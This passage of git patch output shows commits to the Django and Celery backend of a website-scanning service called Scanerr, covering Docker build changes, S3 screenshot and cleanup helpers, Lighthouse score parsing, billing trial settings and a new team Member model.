b/Dockerfile.prod index 3b0d4f32..634bbc5a 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -10,7 +10,7 @@ RUN apt-get update && apt-get install -y python3 python3-pip # installing system deps RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ - libfontconfig + libfontconfig git # installing node and npm RUN apt-get update && apt-get install nodejs npm -y \ From f379cabcc049df57fbc153a4a112d39614d4f053 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 11:05:04 -0600 Subject: [PATCH 193/277] idk --- docker-compose.dev.yml | 1 + docker-compose.prod.yml | 1 + 2 files changed, 2 insertions(+) diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index ff835eca..b1a282f7 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -42,6 +42,7 @@ services: restart: always build: context: . + dockerfile: Dockerfile.prod command: celery -A scanerr worker --beat --scheduler django --loglevel=info volumes: - ./app:/scanerr diff --git a/docker-compose.prod.yml b/docker-compose.prod.yml index 0b8b020b..11737404 100644 --- a/docker-compose.prod.yml +++ b/docker-compose.prod.yml @@ -32,6 +32,7 @@ services: restart: always build: context: . + dockerfile: Dockerfile.prod command: celery -A scanerr worker --beat --scheduler django --loglevel=info volumes: - ./app:/scanerr From 8e454f7c5c97301153f94b7fb9afa31b981c4ca3 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 11:07:59 -0600 Subject: [PATCH 194/277] fixed docker celery caching issues --- Dockerfile.prod | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/Dockerfile.prod b/Dockerfile.prod index 634bbc5a..2a014e28 100644 --- a/Dockerfile.prod +++ b/Dockerfile.prod @@ -22,13 +22,7 @@ RUN npm cache clean --force RUN export NODE_OPTIONS="--max-old-space-size=7000" # installing lighthouse & yellowlabtools -# --no-install-recommends -RUN npm install -g lighthouse -RUN npm install -g lighthouse-plugin-crux -RUN npm install -g lodash -RUN npm install -g yellowlabtools - - +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools # telling Puppeteer to skip installing Chrome ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true From 5de38bb80d3f52e734e6f10d50e479a5d1726eb6 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 12:08:07 -0600 Subject: [PATCH 195/277] fixed s3 configs isues --- app/api/utils/caser.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py index eb041412..54f2d814 100644 --- a/app/api/utils/caser.py +++ b/app/api/utils/caser.py @@ -1,5 +1,5 @@ from .driver_p import driver_init -import time, asyncio, uuid, json, boto3, os, shutil +import time, asyncio, uuid, json, boto3, os from ..models import * from datetime import datetime from asgiref.sync import sync_to_async @@ -58,6 +58,23 @@ def format_element(self, element): async def save_screenshot(self, page): + ''' + Grabs & uploads a screenshot of the `page` + passed in the params. + + Returns -> `image_url` + + ''' + + # setup boto3 configurations + s3 = boto3.client( + 's3', aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # setting id for image pic_id = uuid.uuid4() # get screenshot From 76166fd935bf4d7e64468fbf9d8d17a2b179c3d3 Mon Sep 17 00:00:00 2001 From: landon Date: Fri, 10 Feb 2023 13:00:27 -0600 Subject: [PATCH 196/277] prod mode --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 4a4ea31c..5b55b60f 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = True +DEBUG = False ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From f7bd7a22f5d912f76dac9338461b808df240d20b Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 22 Feb 2023 20:52:16 -0600 Subject: [PATCH 197/277] adding testcase s3 delete methods --- app/api/tasks.py | 7 +++++++ app/api/v1/ops/services.py | 3 +++ app/api/v1/ops/tasks.py | 23 +++++++++++++++++++++++ 3 files changed, 33 insertions(+) diff --git a/app/api/tasks.py b/app/api/tasks.py index 8ed9048e..d242b559 100644 --- a/app/api/tasks.py +++ b/app/api/tasks.py @@ -8,6 +8,7 @@ run_vrt_task, run_lighthouse_task, run_yellowlab_task, create_test_task, create_report_task, delete_report_s3, delete_site_s3, create_testcase_task, migrate_site_task, + delete_testcase_s3, ) from .models import Log @@ -123,6 +124,12 @@ def delete_site_s3_bg(site_id, *args, **kwargs): logger.info('Deleted site s3 objects') +@shared_task +def delete_testcase_s3_bg(testcase_id, *args, **kwargs): + delete_testcase_s3(testcase_id) + logger.info('Deleted testcase s3 objects') + + @shared_task def delete_report_s3_bg(report_id, *args, **kwargs): delete_report_s3(report_id) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index ecb1a8fb..b017f6d1 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -1701,6 +1701,9 @@ def delete_testcase(request, id): record_api_call(request, data, '403') return Response(data, status=status.HTTP_403_FORBIDDEN) + # remove s3 objects + delete_testcase_s3_bg.delay(testcase_id=id) + testcase.delete() data = {'message': 'Testcase has been deleted',} diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 4a84ca44..0fccbacb 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -173,6 +173,29 @@ def delete_site_s3(site_id): + +def delete_testcase_s3(testcase_id): + # setup boto3 configurations + s3 = boto3.resource('s3', + aws_access_key_id=str(settings.AWS_ACCESS_KEY_ID), + aws_secret_access_key=str(settings.AWS_SECRET_ACCESS_KEY), + region_name=str(settings.AWS_S3_REGION_NAME), + endpoint_url=str(settings.AWS_S3_ENDPOINT_URL) + ) + + # deleting s3 objects + try: + bucket = s3.Bucket(settings.AWS_STORAGE_BUCKET_NAME) + bucket.objects.filter(Prefix=str(f'static/testcase/{testcase_id}/')).delete() + except: + pass + + return + + + + + def delete_report_s3(report_id): # setup boto3 configurations s3 = boto3.resource('s3', From 6ef9f72d5e80ccc2abcdf5693bf73c4e9dea6d63 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 22 Feb 2023 21:01:55 -0600 Subject: [PATCH 198/277] testing --- app/api/v1/ops/services.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index b017f6d1..f5152216 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -792,8 +792,10 @@ def get_scan_lean(request, id): def delete_scan(request, id): try: scan = Scan.objects.get(id=scan_id) - except: - data = {'reason': 'cannot find a Scan with that id'} + except Exception as e: + # data = {'reason': 'cannot find a Scan with that id'} + data = {'reason': str(e)} + print(e) record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) From 023beb3dc21a32ac7004bcf1e6b43fa95f43216c Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 22 Feb 2023 21:04:32 -0600 Subject: [PATCH 199/277] fixed bug --- app/api/v1/ops/services.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index f5152216..d14282d0 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -791,11 +791,9 @@ def get_scan_lean(request, id): def delete_scan(request, id): try: - scan = Scan.objects.get(id=scan_id) + scan = Scan.objects.get(id=id) except Exception as e: - # data = {'reason': 'cannot find a Scan with that id'} - data = {'reason': str(e)} - print(e) + data = {'reason': 'cannot find a Scan with that id'} record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) From d5c544b9182d05283ca3b09a7b99a238dccc9cb5 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 2 Mar 2023 15:11:19 -0600 Subject: [PATCH 200/277] testing --- app/api/utils/lighthouse.py | 220 ++++++++++++++++++------------------ 1 file changed, 110 insertions(+), 110 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index c9bfd6cf..517a4f9b 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -37,119 +37,119 @@ def init_audit(self): def get_data(self): - try: - stdout_value = self.init_audit() - # decode bytes into string - stdout_string = stdout_value.decode('iso-8859-1') + # try: + stdout_value = self.init_audit() + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') - # clean string of any errors - delm = '{\n "lighthouseVersion"' - stdout_string = delm + stdout_string.split(delm)[1] + # clean string of any errors + delm = '{\n "lighthouseVersion"' + stdout_string = delm + stdout_string.split(delm)[1] - # encode back to bytes - stdout_value = stdout_string.encode('iso-8859-1') + # encode back to bytes + stdout_value = stdout_string.encode('iso-8859-1') + + # if len(stdout_string) != 0: + # if 'Runtime error encountered' in stdout_string: + # error = {'error': 'lighthouse ran into a problem',} + # return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - if len(stdout_string) != 0: - if 'Runtime error encountered' in stdout_string: - error = {'error': 'lighthouse ran into a problem',} - return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - - # attempting crux - try: - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - except: - crux_score = 0 - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - - data = { - "scores": scores, - "audits": audits, - "failed": False - } - - else: - raise RuntimeError - - except Exception as e: - print(e) - - scores = { - "seo": None, - "accessibility": None, - "performance": None, - "best_practices": None, - "pwa": None, - "crux": None, - "average": None - } - - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best_practices": [], - "pwa": [], - "crux": [] - } - - data = { - "scores": scores, - "audits": audits, - "failed": True - } + # attempting crux + try: + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + except: + crux_score = 0 + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } + + + data = { + "scores": scores, + "audits": audits, + "failed": False + } + + # else: + # raise RuntimeError + # except Exception as e: + # print(e) + + # scores = { + # "seo": None, + # "accessibility": None, + # "performance": None, + # "best_practices": None, + # "pwa": None, + # "crux": None, + # "average": None + # } + + # audits = { + # "seo": [], + # "accessibility": [], + # "performance": [], + # "best_practices": [], + # "pwa": [], + # "crux": [] + # } + + # data = { + # "scores": scores, + # "audits": audits, + # "failed": True + # } + return data From f6cd5fa10b96b8b263444643694bf036ddcc27f6 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 2 Mar 2023 17:58:00 -0600 Subject: [PATCH 201/277] updated docker compose commands --- README.md | 4 ++-- commands | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/README.md b/README.md index c1061060..d7c28503 100644 --- a/README.md +++ b/README.md @@ -120,11 +120,11 @@ $ git clone https://github.com/Scanerr-io/server.git ``` *Spin-up the application* ```shell -$ docker-compose -f docker-compose.prod.yml up -d --build +$ docker compose -f docker-compose.prod.yml up -d --build ``` *Spin-down the application* ```shell -$ docker-compose -f docker-compose.prod.yml down +$ docker compose -f docker-compose.prod.yml down ``` *Spin-down the application and removes the volumes* ```shell diff --git a/commands b/commands index 4a7c763d..a6764d18 100644 --- a/commands +++ b/commands @@ -7,10 +7,10 @@ docker compose down ### spins up the container for production ### -docker-compose -f docker-compose.prod.yml up -d --build +docker compose -f docker-compose.prod.yml up -d --build ### spins down the container ### -docker-compose -f docker-compose.prod.yml down +docker compose -f docker-compose.prod.yml down From f5af6770c1ade082fd24f290c53bbfcafb645b5c Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 2 Mar 2023 18:25:21 -0600 Subject: [PATCH 202/277] prod --- app/api/utils/lighthouse.py | 218 ++++++++++++++++++------------------ 1 file changed, 109 insertions(+), 109 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 517a4f9b..ad917045 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -37,119 +37,119 @@ def init_audit(self): def get_data(self): - # try: - stdout_value = self.init_audit() - # decode bytes into string - stdout_string = stdout_value.decode('iso-8859-1') + try: + stdout_value = self.init_audit() + # decode bytes into string + stdout_string = stdout_value.decode('iso-8859-1') - # clean string of any errors - delm = '{\n "lighthouseVersion"' - stdout_string = delm + stdout_string.split(delm)[1] + # clean string of any errors + delm = '{\n "lighthouseVersion"' + stdout_string = delm + stdout_string.split(delm)[1] - # encode back to bytes - stdout_value = stdout_string.encode('iso-8859-1') + # encode back to bytes + stdout_value = stdout_string.encode('iso-8859-1') - - # if len(stdout_string) != 0: - # if 'Runtime error encountered' in stdout_string: - # error = {'error': 'lighthouse ran into a problem',} - # return error - - stdout_json = json.loads(stdout_value) - - # initial audits object - audits = { - "seo": [], - "accessibility": [], - "performance": [], - "best-practices": [], - "lighthouse-plugin-crux": [], - "pwa": [] - } - - # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj - for cat in audits: - cat_audits = stdout_json["categories"].get(cat).get("auditRefs") - if cat_audits is not None: - for a in cat_audits: - if int(a["weight"]) > 0: - audit = stdout_json["audits"][a["id"]] - audits[cat].append(audit) - # changing audits names - audits['best_practices'] = audits.pop('best-practices') - audits['crux'] = audits.pop('lighthouse-plugin-crux') - # get scores from each category - seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) - accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) - performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) - best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) - pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - - # attempting crux - try: - crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) - except: - crux_score = 0 - - if crux_score == 0 : - crux_score = None - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score - )/ 5) - else: - average_score = round(( - seo_score + accessibility_score + performance_score - + best_practices_score + pwa_score + crux_score - )/ 6) - - scores = { - "seo": seo_score, - "accessibility": accessibility_score, - "performance": performance_score, - "best_practices": best_practices_score, - "pwa": pwa_score, - "crux": crux_score, - "average": average_score - } - - - data = { - "scores": scores, - "audits": audits, - "failed": False - } - - # else: - # raise RuntimeError + if len(stdout_string) != 0: + if 'Runtime error encountered' in stdout_string: + error = {'error': 'lighthouse ran into a problem',} + return error + + stdout_json = json.loads(stdout_value) + + # initial audits object + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best-practices": [], + "lighthouse-plugin-crux": [], + "pwa": [] + } + + # iterating through categories to get relevant lh_audits and store them in their respective `audits = {}` obj + for cat in audits: + cat_audits = stdout_json["categories"].get(cat).get("auditRefs") + if cat_audits is not None: + for a in cat_audits: + if int(a["weight"]) > 0: + audit = stdout_json["audits"][a["id"]] + audits[cat].append(audit) + # changing audits names + audits['best_practices'] = audits.pop('best-practices') + audits['crux'] = audits.pop('lighthouse-plugin-crux') + + # get scores from each category + seo_score = round(stdout_json["categories"]["seo"]["score"] * 100) + accessibility_score = round(stdout_json["categories"]["accessibility"]["score"] * 100) + performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) + best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) + pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + + # attempting crux + try: + crux_score = round(stdout_json["categories"]["lighthouse-plugin-crux"]["score"] * 100) + except: + crux_score = 0 + + if crux_score == 0 : + crux_score = None + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + )/ 5) + else: + average_score = round(( + seo_score + accessibility_score + performance_score + + best_practices_score + pwa_score + crux_score + )/ 6) + + scores = { + "seo": seo_score, + "accessibility": accessibility_score, + "performance": performance_score, + "best_practices": best_practices_score, + "pwa": pwa_score, + "crux": crux_score, + "average": average_score + } + + + data = { + "scores": scores, + "audits": audits, + "failed": False + } + + else: + raise RuntimeError - # except Exception as e: - # print(e) - - # scores = { - # "seo": None, - # "accessibility": None, - # "performance": None, - # "best_practices": None, - # "pwa": None, - # "crux": None, - # "average": None - # } - - # audits = { - # "seo": [], - # "accessibility": [], - # "performance": [], - # "best_practices": [], - # "pwa": [], - # "crux": [] - # } - - # data = { - # "scores": scores, - # "audits": audits, - # "failed": True - # } + except Exception as e: + print(e) + + scores = { + "seo": None, + "accessibility": None, + "performance": None, + "best_practices": None, + "pwa": None, + "crux": None, + "average": None + } + + audits = { + "seo": [], + "accessibility": [], + "performance": [], + "best_practices": [], + "pwa": [], + "crux": [] + } + + data = { + "scores": scores, + "audits": audits, + "failed": True + } return data From 100e6edbf6499c4fe650faa404be066cca3a9bab Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 9 Mar 2023 10:38:53 -0600 Subject: [PATCH 203/277] fixing 7 day trial bug --- app/api/v1/billing/views.py | 1 + 1 file changed, 1 insertion(+) diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index db20783b..90069f30 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -273,6 +273,7 @@ def post(self, request): }], payment_behavior='default_incomplete', expand=['latest_invoice.payment_intent'], + trial_period_days=7, ) Account.objects.create( From 6c7dad9316d684ede81fc0f50bd5d44bcc1341e3 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 9 Mar 2023 10:49:02 -0600 Subject: [PATCH 204/277] debugging --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 5b55b60f..4a4ea31c 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = False +DEBUG = True ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From b7252682b727c24937ef976e355447bcef2f9a55 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 9 Mar 2023 11:06:35 -0600 Subject: [PATCH 205/277] removed free trial --- app/api/v1/billing/views.py | 2 +- app/scanerr/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/v1/billing/views.py b/app/api/v1/billing/views.py index 90069f30..7892a0b8 100644 --- a/app/api/v1/billing/views.py +++ b/app/api/v1/billing/views.py @@ -273,7 +273,7 @@ def post(self, request): }], payment_behavior='default_incomplete', expand=['latest_invoice.payment_intent'], - trial_period_days=7, + # trial_period_days=7, ) Account.objects.create( diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 4a4ea31c..5b55b60f 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = True +DEBUG = False ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From 6b188190a2e68b92a1a92da179b8865b7d664b7c Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 9 Mar 2023 11:20:44 -0600 Subject: [PATCH 206/277] debug --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 5b55b60f..4a4ea31c 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = False +DEBUG = True ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From 4a2f87302b250e89b194f5fd5a5ad28eaf6e69d5 Mon Sep 17 00:00:00 2001 From: landon Date: Thu, 9 Mar 2023 11:27:54 -0600 Subject: [PATCH 207/277] production ready --- app/scanerr/settings.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py index 4a4ea31c..5b55b60f 100644 --- a/app/scanerr/settings.py +++ b/app/scanerr/settings.py @@ -21,7 +21,7 @@ SECRET_KEY = os.environ.get('SECRET_KEY') # SECURITY WARNING: don't run with debug turned on in production! -DEBUG = True +DEBUG = False ALLOWED_HOSTS = ['*'] CLIENT_URL_ROOT = os.environ.get('CLIENT_URL_ROOT') From 349373b41f08e893d989a98721792242bb5bdafd Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 22 Mar 2023 11:28:10 -0500 Subject: [PATCH 208/277] testing fix for Test issues --- app/api/v1/ops/services.py | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index d14282d0..4a30e138 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -298,6 +298,11 @@ def create_test(request, delay=False): 'timeout': 300, 'disable_animations': False } + + if not Scan.objects.filter(site=site).exists(): + data = {'reason': 'Site not yet onboarded'} + record_api_call(request, data, '400') + return Response(data, status=status.HTTP_400_BAD_REQUEST) if pre_scan_id: try: @@ -314,26 +319,23 @@ def create_test(request, delay=False): record_api_call(request, data, '404') return Response(data, status=status.HTTP_404_NOT_FOUND) + # grabbing most recent Scan + if pre_scan_id is None: + pre_scan = Scan.objects.filter(site=site).order_by('-time_created')[0] + if pre_scan: if pre_scan.time_completed == None: - data = {'reason': 'post_scan still running'} + data = {'reason': 'pre_scan still running'} record_api_call(request, data, '400') return Response(data, status=status.HTTP_400_BAD_REQUEST) if post_scan: if post_scan.time_completed == None: - data = {'reason': 'pre_scan still running'} + data = {'reason': 'post_scan still running'} record_api_call(request, data, '400') return Response(data, status=status.HTTP_400_BAD_REQUEST) - if not Scan.objects.filter(site=site).exists(): - data = {'reason': 'Site not yet onboarded'} - record_api_call(request, data, '400') - return Response(data, status=status.HTTP_400_BAD_REQUEST) - - - # creating test object test = Test.objects.create( site=site, From 5af2e1beafcb0c34cbdf8270f610aca86f2dd065 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 22 Mar 2023 11:28:20 -0500 Subject: [PATCH 209/277] checking for curx score --- app/api/utils/lighthouse.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index ad917045..597d5633 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -85,6 +85,9 @@ def get_data(self): performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) + + # printing crux data + print(stdout_json["categories"]["lighthouse-plugin-crux"]) # attempting crux try: From 5643349b6875d9c44a3459ed829c4eb523df1019 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 22 Mar 2023 11:47:17 -0500 Subject: [PATCH 210/277] removed crux data --- app/api/utils/lighthouse.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py index 597d5633..ad917045 100644 --- a/app/api/utils/lighthouse.py +++ b/app/api/utils/lighthouse.py @@ -85,9 +85,6 @@ def get_data(self): performance_score = round(stdout_json["categories"]["performance"]["score"] * 100) best_practices_score = round(stdout_json["categories"]["best-practices"]["score"] * 100) pwa_score = round(stdout_json["categories"]["pwa"]["score"] * 100) - - # printing crux data - print(stdout_json["categories"]["lighthouse-plugin-crux"]) # attempting crux try: From df28f954a8fdfa91e3f7507adbf2d80429c1c398 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 29 Mar 2023 11:43:51 -0500 Subject: [PATCH 211/277] fixed report schedule bug --- app/api/v1/ops/tasks.py | 1 + 1 file changed, 1 insertion(+) diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 0fccbacb..45cc5ad2 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -140,6 +140,7 @@ def create_report_task(site_id, automation_id=None): user=site.user, site=site, info=info, + type=['lighthouse', 'yellowlab'] ) From 184a3bad1147b64da0ebb4c8c5059687d421f83e Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 29 Mar 2023 11:54:46 -0500 Subject: [PATCH 212/277] fixed color for highlight --- app/api/v1/ops/tasks.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 45cc5ad2..8dc20b9e 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -134,7 +134,7 @@ def create_report_task(site_id, automation_id=None): info = { "text_color": '#24262d', "background_color": '#e1effd', - "highlight_color": '#4283f8', + "highlight_color": '#ffffff', } report = Report.objects.create( user=site.user, From a1df82df61dbc8ec005c46462816c2f4f08854f2 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Tue, 2 May 2023 10:34:21 -0500 Subject: [PATCH 213/277] added Member to models --- app/api/models.py | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) diff --git a/app/api/models.py b/app/api/models.py index a532da23..f156fe4e 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -290,6 +290,7 @@ def __str__(self): class Account(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + name = models.CharField(max_length=1000, serialize=True, null=True, blank=True) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) active = models.BooleanField(default=False, serialize=True) time_created = models.DateTimeField(default=timezone.now, serialize=True) @@ -307,6 +308,21 @@ def __str__(self): +class Member(models.Model): + id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) + account = models.ForeignKey(Account, on_delete=models.CASCADE, serialize=True) + user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) + status = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # pending, active + type = models.CharField(max_length=1000, serialize=True, null=True, blank=True) # admin, contributor, client + time_created = models.DateTimeField(default=timezone.now, serialize=True) + + def __str__(self): + return f'{self.user.email}_{self.account.name}' + + + + + class Card(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) user = models.ForeignKey(User, on_delete=models.CASCADE, serialize=True) From 9e182d187241f3c33d93e0682bb410310d8137c1 Mon Sep 17 00:00:00 2001 From: Landon Roddenberry Date: Thu, 4 May 2023 11:15:36 -0500 Subject: [PATCH 214/277] more team account additions --- app/api/models.py | 1 + app/api/v1/auth/serializers.py | 20 +++++++++++++++++-- app/api/v1/auth/services.py | 2 +- app/api/v1/auth/views.py | 35 ++++++++++++++++++++++++++++++++-- 4 files changed, 53 insertions(+), 5 deletions(-) diff --git a/app/api/models.py b/app/api/models.py index f156fe4e..3a8cfee7 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -312,6 +312,7 @@ class Member(models.Model): id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False) account = 